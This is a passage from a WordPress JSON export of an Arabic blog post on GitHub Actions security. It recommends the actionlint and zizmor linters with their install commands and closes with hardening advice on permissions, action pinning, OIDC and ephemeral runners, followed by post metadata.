\u0627\u0644\u0635\u064a\u0627\u063a\u0629\u060c \u0648\u0639\u062f\u0645 \u062a\u0648\u0627\u0641\u0642 \u0627\u0644\u0623\u0646\u0648\u0627\u0639\u060c \u0648\u0623\u0648\u0627\u0645\u0631 \u0627\u0644\u0640 shell \u063a\u064a\u0631 \u0627\u0644\u0635\u0627\u0644\u062d\u0629\u060c \u0648\u0627\u0644\u0645\u0634\u0643\u0644\u0627\u062a \u0627\u0644\u0623\u0645\u0646\u064a\u0629 \u0645\u062b\u0644 \u062d\u0642\u0646 \u0627\u0644\u062a\u0639\u0627\u0628\u064a\u0631. \u0634\u063a\u0651\u0644\u0647\u0627 \u0645\u062d\u0644\u064a\u064b\u0627 \u0648\u0641\u064a CI \u0644\u0627\u0643\u062a\u0634\u0627\u0641 \u0627\u0644\u0645\u0634\u0643\u0644\u0627\u062a \u0642\u0628\u0644 \u0623\u0646 \u062a\u0635\u0644 \u0625\u0644\u0649 \u0627\u0644\u0625\u0646\u062a\u0627\u062c:<\/p>\n\n<pre><code># Install and run\nbrew install actionlint\nactionlint .github\/workflows\/*.yml\n<\/code><\/pre>\n\n<h3 class=\"wp-block-heading\">zizmor<\/h3>\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/github.com\/woodruffw\/zizmor\" target=\"_blank\" rel=\"noopener\">zizmor<\/a> \u0623\u062f\u0627\u0629 linting \u0623\u0645\u0646\u064a\u0629 \u0645\u062e\u0635\u0651\u0635\u0629 \u0644\u0640 GitHub Actions. \u0648\u062e\u0644\u0627\u0641\u064b\u0627 \u0644\u0623\u062f\u0648\u0627\u062a \u0627\u0644\u0640 linting \u0627\u0644\u0639\u0627\u0645\u0629\u060c \u064a\u0631\u0643\u0651\u0632 zizmor \u062a\u062d\u062f\u064a\u062f\u064b\u0627 \u0639\u0644\u0649 \u0627\u0644\u0645\u0634\u0643\u0644\u0627\u062a \u0627\u0644\u0623\u0645\u0646\u064a\u0629: \u062d\u0642\u0646 \u0627\u0644\u062a\u0639\u0627\u0628\u064a\u0631\u060c \u0648\u0627\u0644\u0625\u062c\u0631\u0627\u0621\u0627\u062a \u063a\u064a\u0631 \u0627\u0644\u0645\u062b\u0628\u0651\u062a\u0629\u060c \u0648\u0627\u0644\u0635\u0644\u0627\u062d\u064a\u0627\u062a \u0627\u0644\u0645\u0641\u0631\u0637\u0629 \u0627\u0644\u0627\u062a\u0633\u0627\u0639\u060c \u0648\u0627\u0644\u0645\u064f\u0637\u0644\u0650\u0642\u0627\u062a \u0627\u0644\u062e\u0637\u0631\u0629\u060c \u0648\u063a\u064a\u0631\u0647\u0627. \u0648\u0647\u0648 \u064a\u064f\u0646\u062a\u0650\u062c \u0646\u062a\u0627\u0626\u062c \u0642\u0627\u0628\u0644\u0629 \u0644\u0644\u062a\u0646\u0641\u064a\u0630 \u0645\u0639 \u062a\u0635\u0646\u064a\u0641\u0627\u062a \u0644\u0644\u062e\u0637\u0648\u0631\u0629 \u0648\u0625\u0631\u0634\u0627\u062f\u0627\u062a \u0644\u0644\u0645\u0639\u0627\u0644\u062c\u0629:<\/p>\n\n<pre><code># Install and run\npip install zizmor\nzizmor .github\/workflows\/\n<\/code><\/pre>\n\n<p class=\"wp-block-paragraph\">\u064a\u0646\u0628\u063a\u064a \u0623\u0646 \u062a\u0643\u0648\u0646 \u0643\u0644\u062a\u0627 \u0627\u0644\u0623\u062f\u0627\u062a\u064a\u0646 \u062c\u0632\u0621\u064b\u0627 \u0645\u0646 \u062e\u0637 \u0623\u0646\u0627\u0628\u064a\u0628 CI \u0644\u062f\u064a\u0643. \u0634\u063a\u0651\u0644\u0647\u0645\u0627 \u0639\u0644\u0649 \u0643\u0644 PR \u064a\u0639\u062f\u0651\u0644 \u0645\u0644\u0641\u0627\u062a \u0627\u0644\u0640 workflow. \u0641\u0647\u0645\u0627 \u0645\u0639\u064b\u0627 \u064a\u0644\u062a\u0642\u0637\u0627\u0646 \u0627\u0644\u063a\u0627\u0644\u0628\u064a\u0629 \u0627\u0644\u0639\u0638\u0645\u0649 \u0645\u0646 \u0645\u0634\u0643\u0644\u0627\u062a \u0623\u0645\u0646 GitHub Actions \u0627\u0644\u0634\u0627\u0626\u0639\u0629 \u0642\u0628\u0644 \u062f\u0645\u062c\u0647\u0627.<\/p>\n\n<h2 class=\"wp-block-heading\">\u0627\u0644\u062e\u0644\u0627\u0635\u0629<\/h2>\n\n<p class=\"wp-block-paragraph\">\u0623\u0645\u0646 GitHub Actions \u0644\u064a\u0633 \u0645\u0641\u062a\u0627\u062d \u0625\u0639\u062f\u0627\u062f \u0648\u0627\u062d\u062f\u064b\u0627 \u2014 \u0628\u0644 \u0647\u0648 \u062f\u0641\u0627\u0639 \u0645\u062a\u0639\u062f\u062f \u0627\u0644\u0637\u0628\u0642\u0627\u062a \u064a\u0645\u062a\u062f \u0639\u0628\u0631 \u0627\u0644\u0635\u0644\u0627\u062d\u064a\u0627\u062a\u060c \u0648\u0627\u0644\u0627\u0639\u062a\u0645\u0627\u062f\u064a\u0627\u062a\u060c \u0648\u0627\u0644\u0623\u0633\u0631\u0627\u0631\u060c \u0648\u0627\u0644\u0647\u0648\u064a\u0629\u060c \u0648\u0627\u0644\u0628\u0646\u064a\u0629 \u0627\u0644\u062a\u062d\u062a\u064a\u0629\u060c \u0648\u0633\u0644\u0627\u0645\u0629 \u0633\u0644\u0633\u0644\u0629 \u0627\u0644\u062a\u0648\u0631\u064a\u062f. \u0625\u0646 \u0627\u0644\u0647\u062c\u0645\u0627\u062a \u0639\u0644\u0649 \u062e\u0637\u0648\u0637 \u0623\u0646\u0627\u0628\u064a\u0628 CI\/CD \u062a\u062a\u0632\u0627\u064a\u062f \u062a\u0648\u0627\u062a\u0631\u064b\u0627 \u0648\u062a\u0639\u0642\u064a\u062f\u064b\u0627\u060c \u0648\u0627\u0644\u0645\u0624\u0633\u0633\u0627\u062a \u0627\u0644\u062a\u064a \u062a\u0639\u0627\u0645\u0644 \u0623\u0645\u0646 \u062e\u0637 \u0627\u0644\u0623\u0646\u0627\u0628\u064a\u0628 \u0643\u0623\u0645\u0631 \u062b\u0627\u0646\u0648\u064a \u0633\u062a\u0643\u0648\u0646 \u0647\u064a \u0627\u0644\u062a\u064a \u062a\u064f\u0635\u062f\u0650\u0631 \u0625\u0641\u0635\u0627\u062d\u0627\u062a \u0627\u0644\u0627\u062e\u062a\u0631\u0627\u0642.<\/p>\n\n<p class=\"wp-block-paragraph\">\u0627\u0644\u062e\u0628\u0631 \u0627\u0644\u0633\u0627\u0631 \u0647\u0648 \u0623\u0646 \u0643\u0644 \u062a\u062e\u0641\u064a\u0641 \u0641\u064a \u0647\u0630\u0627 \u0627\u0644\u062f\u0644\u064a\u0644 \u0642\u0627\u0628\u0644 \u0644\u0644\u062a\u0646\u0641\u064a\u0630 \u0627\u0644\u064a\u0648\u0645. \u064a\u0645\u0643\u0646\u0643 \u0636\u0628\u0637 \u0627\u0644\u0635\u0644\u0627\u062d\u064a\u0627\u062a \u0639\u0644\u0649 \u0627\u0644\u0642\u0631\u0627\u0621\u0629 \u0641\u0642\u0637 \u0641\u064a \u062e\u0645\u0633 \u062f\u0642\u0627\u0626\u0642. \u0648\u064a\u0645\u0643\u0646\u0643 \u062a\u0641\u0639\u064a\u0644 Dependabot \u0644\u062a\u062b\u0628\u064a\u062a \u0627\u0644\u0625\u062c\u0631\u0627\u0621\u0627\u062a \u0641\u064a commit \u0648\u0627\u062d\u062f. \u0648\u064a\u0645\u0643\u0646\u0643 \u0627\u0644\u0627\u0646\u062a\u0642\u0627\u0644 \u0645\u0646 \u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0644\u0627\u0639\u062a\u0645\u0627\u062f \u0627\u0644\u062b\u0627\u0628\u062a\u0629 \u0625\u0644\u0649 OIDC \u0641\u064a \u0641\u062a\u0631\u0629 \u0628\u0639\u062f \u0627\u0644\u0638\u0647\u0631. \u0648\u064a\u0645\u0643\u0646\u0643 \u0646\u0634\u0631 runners \u0632\u0627\u0626\u0644\u0629 \u0642\u0628\u0644 \u0646\u0647\u0627\u064a\u0629 \u0627\u0644\u0623\u0633\u0628\u0648\u0639.<\/p>\n\n<p class=\"wp-block-paragraph\">\u0627\u0628\u062f\u0623 \u0628\u0642\u0627\u0626\u0645\u0629 \u062a\u062d\u0642\u0642 \u0627\u0644\u062a\u0637\u0628\u064a\u0642 \u0623\u0639\u0644\u0627\u0647. \u0627\u0639\u0645\u0644 \u0639\u0644\u0649 \u0627\u0644\u0645\u062e\u062a\u0628\u0631\u0627\u062a. \u0634\u063a\u0651\u0644 actionlint \u0648zizmor \u0639\u0644\u0649 workflows \u0627\u0644\u062d\u0627\u0644\u064a\u0629 \u0644\u062f\u064a\u0643 \u0648\u0623\u0635\u0644\u0650\u062d \u0645\u0627 \u062a\u062c\u062f\u0647. \u0641\u0643\u0644 \u062e\u0637\u0648\u0629 \u062a\u0642\u0648\u064a\u0629 \u062a\u062a\u062e\u0630\u0647\u0627 \u062a\u0631\u0641\u0639 \u0627\u0644\u0643\u0644\u0641\u0629 \u0639\u0644\u0649 \u0627\u0644\u0645\u0647\u0627\u062c\u0645\u064a\u0646 \u0648\u062a\u062e\u0641\u0651\u0636 \u0645\u062e\u0627\u0637\u0631\u0643.<\/p>\n\n<p class=\"wp-block-paragraph\">\u062e\u0637 \u0623\u0646\u0627\u0628\u064a\u0628 CI\/CD \u0644\u062f\u064a\u0643 \u0646\u0638\u0627\u0645 \u0625\u0646\u062a\u0627\u062c\u064a. \u0623\u0645\u0651\u0646\u0647 \u0643\u0645\u0627 \u062a\u0624\u0645\u0651\u0646 \u0646\u0638\u0627\u0645\u064b\u0627 \u0625\u0646\u062a\u0627\u062c\u064a\u064b\u0627.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u0623\u0635\u0628\u062d\u062a GitHub Actions \u0645\u0646\u0635\u0629 CI\/CD \u0627\u0644\u0623\u0648\u0633\u0639 \u0627\u0646\u062a\u0634\u0627\u0631\u064b\u0627 \u0641\u064a \u0627\u0644\u0639\u0627\u0644\u0645. \u0641\u0645\u0639 \u0642\u062f\u0631\u0629 \u0623\u0643\u062b\u0631 \u0645\u0646 90% \u0645\u0646 \u0645\u0633\u062a\u0648\u062f\u0639\u0627\u062a GitHub \u0639\u0644\u0649 \u0627\u0633\u062a\u062e\u062f\u0627\u0645\u0647\u0627 \u0645\u062d\u0644\u064a\u064b\u0627\u060c \u0635\u0627\u0631\u062a \u062a\u0634\u063a\u0651\u0644 \u0643\u0644 \u0634\u064a\u0621 \u0628\u062f\u0621\u064b\u0627 \u0645\u0646 \u0641\u062d\u0648\u0635 linting \u0627\u0644\u0628\u0633\u064a\u0637\u0629 \u0648\u0635\u0648\u0644\u064b\u0627 \u0625\u0644\u0649 \u0639\u0645\u0644\u064a\u0627\u062a \u0627\u0644\u0646\u0634\u0631 \u0627\u0644\u0645\u0639\u0642\u062f\u0629 \u0645\u062a\u0639\u062f\u062f\u0629 \u0627\u0644\u0633\u062d\u0627\u0628\u0627\u062a. \u0644\u0643\u0646 \u0647\u0630\u0627 \u0627\u0644\u0627\u0646\u062a\u0634\u0627\u0631 \u0627\u0644\u0648\u0627\u0633\u0639 \u064a\u062c\u0639\u0644\u0647\u0627 \u0633\u0637\u062d \u0627\u0644\u0647\u062c\u0648\u0645 \u0627\u0644\u0623\u0643\u062b\u0631 \u0627\u0633\u062a\u0647\u062f\u0627\u0641\u064b\u0627 \u0641\u064a \u0645\u062c\u0627\u0644 CI\/CD \u0636\u0645\u0646 \u062a\u0637\u0648\u064a\u0631 \u0627\u0644\u0628\u0631\u0645\u062c\u064a\u0627\u062a \u0627\u0644\u062d\u062f\u064a\u062b. \u0641\u064a \u0639\u0627\u0645\u064e\u064a 2024 &#8230; <a title=\"\u0623\u0645\u0627\u0646 GitHub Actions: \u0627\u0644\u062f\u0644\u064a\u0644 \u0627\u0644\u0634\u0627\u0645\u0644\" class=\"read-more\" href=\"https:\/\/secure-pipelines.com\/ar\/ci-cd-security\/github-actions-security-definitive-guide\/\" aria-label=\"Read more about \u0623\u0645\u0627\u0646 GitHub Actions: \u0627\u0644\u062f\u0644\u064a\u0644 \u0627\u0644\u0634\u0627\u0645\u0644\">\u0627\u0642\u0631\u0623 \u0627\u0644\u0645\u0632\u064a\u062f<\/a><\/p>\n","protected":false},"author":1,"featured_media":1421,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26,66,29,65],"tags":[],"post_folder":[],"class_list":["post-753","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ci-cd-security","category-github-actions"],"_links":{"self":[{"href":"https:\/\/secure-pipelines.com\/ar\/wp-json\/wp\/v2\/posts\/753","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/secure-pipelines.com\/ar\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/secure-pipelines.com\/ar\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/secure-pipelines.com\/ar\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/secure-pipelines.com\/ar\/wp-json\/wp\/v2\/comments?post=753"}],"version-history":[{"count":3,"href":"https:\/\/secure-pipelines.com\/ar\/wp-json\/wp\/v2\/posts\/753\/revisions"}],"predecessor-version":[{"id":1571,"href":"https:\/\/secure-pipelines.com\/ar\/wp-json\/wp\/v2\/posts\/753\/revisions\/1571"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/secure-pipelines.com\/ar\/wp-json\/wp\/v2\/media\/1421"}],"wp:attachment":[{"href":"https:\/\/secure-pipelines.com\/ar\/wp-json\/wp\/v2\/media?parent=753"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/secure-pipelines.com\/ar\/wp-json\/wp\/v2\/categories?post=753"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/secure-pipelines.com\/ar\/wp-json\/wp\/v2\/tags?post=753"},{"taxonomy":"post_folder","embeddable":true,"href":"https:\/\/secure-pipelines.com\/ar\/wp-json\/wp\/v2\/post_folder?post=753"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}